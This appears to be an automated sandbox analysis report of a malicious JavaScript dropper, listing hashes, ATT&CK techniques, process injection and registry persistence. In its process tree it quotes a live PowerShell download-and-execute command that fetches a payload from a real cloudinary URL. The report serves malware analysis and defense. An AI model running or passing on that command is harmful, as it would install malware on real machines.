65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4

General

Target

Plugin81139.js
Size

389KB
MD5

a0c2859596c5ce9790594ba975cb0eac
SHA1

3fcb95f0177d3ec86496f2388fb78b0b2d28820b
SHA256

65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4
SHA512

738072f15990c51584c71962043e3bea38dd3b758170815f5daddfceb8622f2eff13e9c8ec1dfcc4f9c150eb8065aa9a4ac38b80e712f037ad5c325de96cfb9e
SSDEEP

1536:UfffKffafffKffafffKffafffKffafffKffafffKfffffffffffffffffffffffz:XHuCM4

Score

10^/10

execution persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1744	powershell.exe
7	1744	powershell.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/1744-51-0x0000000002C50000-0x0000000002C96000-memory.dmp	net_reactor

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\D = "C:\\ProgramData\\PDF\\1.bat"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1744	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1744	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 1744	2756	wscript.exe	31
PID 2756 wrote to memory of 1744	2756	wscript.exe	31
PID 2756 wrote to memory of 1744	2756	wscript.exe	31
PID 1744 wrote to memory of 2148	1744	powershell.exe	33
PID 1744 wrote to memory of 2148	1744	powershell.exe	33
PID 1744 wrote to memory of 2148	1744	powershell.exe	33
PID 1744 wrote to memory of 2148	1744	powershell.exe	33
PID 1744 wrote to memory of 2284	1744	powershell.exe	34
PID 1744 wrote to memory of 2284	1744	powershell.exe	34
PID 1744 wrote to memory of 2284	1744	powershell.exe	34
PID 1744 wrote to memory of 2284	1744	powershell.exe	34
PID 1744 wrote to memory of 1308	1744	powershell.exe	35
PID 1744 wrote to memory of 1308	1744	powershell.exe	35
PID 1744 wrote to memory of 1308	1744	powershell.exe	35
PID 1744 wrote to memory of 1308	1744	powershell.exe	35
PID 1744 wrote to memory of 1716	1744	powershell.exe	36
PID 1744 wrote to memory of 1716	1744	powershell.exe	36
PID 1744 wrote to memory of 1716	1744	powershell.exe	36
PID 1744 wrote to memory of 1716	1744	powershell.exe	36
PID 1744 wrote to memory of 2312	1744	powershell.exe	37
PID 1744 wrote to memory of 2312	1744	powershell.exe	37
PID 1744 wrote to memory of 2312	1744	powershell.exe	37
PID 1744 wrote to memory of 2312	1744	powershell.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Plugin81139.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ((New-Object System.Net.WebClient).DownloadString('https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt'))
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
    3⤵
    PID:2148
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
    3⤵
    PID:2284
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
    3⤵
    PID:1308
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
    3⤵
    PID:1716
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
    3⤵
    PID:2312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabFC0D.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarFC2F.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/1744-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/1744-4-0x000007FEF68EE000-0x000007FEF68EF000-memory.dmp

Filesize
4KB

Download
memory/1744-10-0x000007FEF6630000-0x000007FEF6FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1744-11-0x000007FEF6630000-0x000007FEF6FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1744-9-0x000007FEF6630000-0x000007FEF6FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1744-8-0x000007FEF6630000-0x000007FEF6FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1744-7-0x000007FEF6630000-0x000007FEF6FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1744-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/1744-48-0x000007FEF68EE000-0x000007FEF68EF000-memory.dmp

Filesize
4KB

Download
memory/1744-49-0x000007FEF6630000-0x000007FEF6FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1744-51-0x0000000002C50000-0x0000000002C96000-memory.dmp

Filesize
280KB

Download
memory/1744-52-0x000007FEF6630000-0x000007FEF6FCD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads